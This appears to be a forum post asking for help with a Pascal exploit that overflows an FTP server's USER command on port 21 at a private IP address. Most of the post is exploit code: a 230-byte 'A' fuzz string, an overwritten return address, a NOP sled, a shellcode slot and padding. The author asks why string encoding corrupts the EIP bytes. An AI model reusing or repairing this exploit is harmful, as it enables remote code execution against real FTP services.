Hey guys i am trying to write a snippets on pascal string to send specific shellcode into specific application port , but i think while sending that EIP is written with unicode character that's not should be "C2" means "?" , so what i want is to send this with correct values :
tcp_connect('192.168.81.139',21);
c:=stringofchar(#$43,637);
nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90;
p:= #$53#$93#$42#$7E;
fuzz := stringofchar('A',230);
overflow := fuzz +p+nops +shellcode + c;
s := 'USER '+overflow;
tcp_sendmessage(s);
on debugger backend the EIP should be 5393427E , but actually it becomes 5393C242
thanks